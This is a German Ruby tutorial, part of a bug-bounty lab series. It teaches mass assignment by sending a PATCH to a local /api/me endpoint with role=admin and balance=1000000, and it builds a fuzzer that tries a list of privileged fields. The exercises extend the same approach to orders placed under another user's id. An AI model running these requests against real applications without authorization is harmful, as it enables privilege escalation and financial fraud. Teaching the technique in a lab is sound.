// Bug-Bounty-Automatisierung in Ruby · Teil 5

Die Eingaben fuzzen

Wir hören auf, die Felder zu senden, die die API erwartet, und fangen an, die zu senden, die sie nicht erwartet. Ein Profil-Update-Endpunkt, der alles zusammenführt, was du ihm gibst, wird zum Weg, deine eigene Rolle und deinen Kontostand zu setzen — Mass Assignment. Wir bauen einen kleinen Fuzzer, um ihn zu finden, und lernen dabei Blöcke und yield.

RubyFuzzingMass AssignmentBlocks
5 Min. Lesezeit

Bisher haben wir wohlgeformte Anfragen gesendet. Fuzzing ist der gegenteilige Instinkt: sende Eingaben, die der Entwickler nicht eingeplant hat — zusätzliche Felder, falsche Typen, Werte außerhalb des Bereichs — und beobachte, was bricht. Der Bug, hinter dem wir diesen Teil her sind, ist Mass Assignment: ein Endpunkt, der deinen JSON-Körper nimmt und alles davon in einen Datensatz zusammenführt, einschließlich Feldern, die zu kontrollieren du nie vorgesehen warst.

Das Labor lässt dich dein eigenes Profil mit PATCH /api/me aktualisieren. Beginne fuzz.rb mit einem Login-Helfer und einem PATCH:

require 'net/http'
require 'json'
require 'uri'

BASE = 'http://127.0.0.1:4567'

def login(name)
  res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
                       'Content-Type' => 'application/json')
  JSON.parse(res.body)['token']
end

def patch(path, token, body)
  uri = URI("#{BASE}#{path}")
  req = Net::HTTP::Patch.new(uri)
  req['Authorization'] = "Bearer #{token}"
  req['Content-Type'] = 'application/json'
  req.body = body.to_json
  Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end

Der beabsichtigte Gebrauch, dann der Missbrauch

Zuerst der legitime Weg — den Anzeigenamen aktualisieren —, damit wir wissen, dass der Endpunkt funktioniert, und unseren Ausgangszustand sehen:

token  = login('alice')
before = JSON.parse(patch('/api/me', token, 'name' => 'alice').body)
puts "[*] start: role=#{before['role']} balance=#{before['balance']}"
$ ruby fuzz.rb
[*] start: role=user balance=1000

Jetzt der Missbrauch. Der Endpunkt soll uns unseren Namen ändern lassen. Aber wenn er den ganzen Körper blind zusammenführt, akzeptiert er auch Felder, die er schützen sollte — wie role und balance. Sende sie und finde es heraus:

loot = JSON.parse(patch('/api/me', token, 'role' => 'admin', 'balance' => 1_000_000).body)
puts "[+] after: role=#{loot['role']} balance=#{loot['balance']}"
$ ruby fuzz.rb
...
[+] after: role=admin balance=1000000

Eine Anfrage beförderte einen normalen Benutzer zum admin und setzte seinen Kontostand auf eine Million. Der Endpunkt hatte nie eine Liste von Feldern, die er ändern durfte, also änderte er, was immer wir nannten. Das ist Mass Assignment.

Daraus einen Fuzzer machen

role und balance zu raten funktionierte, weil wir die Domäne kennen. Ein Fuzzer automatisiert das Raten: wirf eine Liste sensibler Feldnamen auf den Endpunkt und melde, welche haften bleiben. Das ist ein guter Moment, um Blöcke kennenzulernen — die Code-Brocken in do ... end, die du herumgereicht hast — und yield, das einen davon ausführt.

Schreib eine fuzz-Methode, die Payloads abläuft und jede an einen Block übergibt, sodass der Aufrufer entscheidet, wie getestet wird:

def fuzz(payloads)
  payloads.each do |field, value|
    accepted = yield(field, value)
    puts "  #{field.ljust(9)} <- #{value.inspect.ljust(9)} #{accepted ? 'ACCEPTED' : 'ignored'}"
  end
end

yield(field, value) ruft den Block auf, den du an fuzz übergibst, mit diesen beiden Argumenten, und nutzt den Wert, den der Block zurückgibt. Ruf sie nun mit einer Menge von Feldern auf, die einen Angreifer interessieren, und einem Block, der jedes PATCHt und prüft, ob der Server unseren Wert zurückgespiegelt hat:

SENSITIVE = { 'role' => 'admin', 'balance' => 9_999, 'is_admin' => true, 'verified' => true }

fresh = login('bob')
fuzz(SENSITIVE) do |field, value|
  result = JSON.parse(patch('/api/me', fresh, field => value).body)
  result[field] == value
end
$ ruby fuzz.rb
...
  role      <- "admin"   ACCEPTED
  balance   <- 9999      ACCEPTED
  is_admin  <- true      ACCEPTED
  verified  <- true      ACCEPTED

Jedes Feld blieb haften, weil dieser Endpunkt ohne Whitelist zusammenführt. Bei einem echten Ziel käme das meiste einer solchen Liste als ignored zurück und ein oder zwei würden ACCEPTED lauten — und die sind dein Fund. Der Wert des Fuzzers ist nicht, dass er role probierte; es ist, dass er vierzig Felder probierte, während du deine E-Mails last, und dir sagte, welche zwei zählten.

Erkenntnisse

  • Mass Assignment: Ein Endpunkt, der deinen ganzen Körper in einen Datensatz zusammenführt, lässt dich Felder schreiben, die dir nicht gehören — role, balance, is_admin. Sende das beabsichtigte Feld plus ein paar sensible und sieh, was haften bleibt.
  • Ein Block ist Code in do |args| ... end, an eine Methode übergeben; yield führt ihn aus und gibt seinen Wert zurück. Er lässt eine Methode (fuzz) das Schleifen besitzen, während der Aufrufer den Test besitzt.
  • .inspect zeigt einen Wert so, wie du ihn tippen würdest ("admin", true); .ljust hält Spalten bündig.
  • Die Aufgabe eines Fuzzers ist Abdeckung: probiere die ganze Liste mechanisch, bring die Treffer an die Oberfläche.

Übungen

  1. Erweitere SENSITIVE um Felder, die eine echte App schützen könnte — email_verified, credits, plan, owner_id — und lass es erneut laufen. Die Technik ändert sich nicht, nur die Wortliste.
  2. Fuzze Typen, nicht nur Felder: sende balance als String "abc", als Array und als negative Zahl. Validiert der Endpunkt irgendeines davon?
  3. Richte den Fuzzer auf POST /api/orders (das seinen Körper ebenfalls zusammenführt). Kannst du eine Order mit einer user_id platzieren, die nicht deine ist — eine Order in fremdem Namen?

Weiter — Teil 6: Eine Anfrage machte uns reich. In Teil 6 senden wir viele auf einmal — wir feuern den Coupon-Endpunkt nebenläufig ab, um eine einmalige Belohnung mehrfach einzulösen, bevor der Server es merkt. Threads und ein Rennen.

← Alle Teile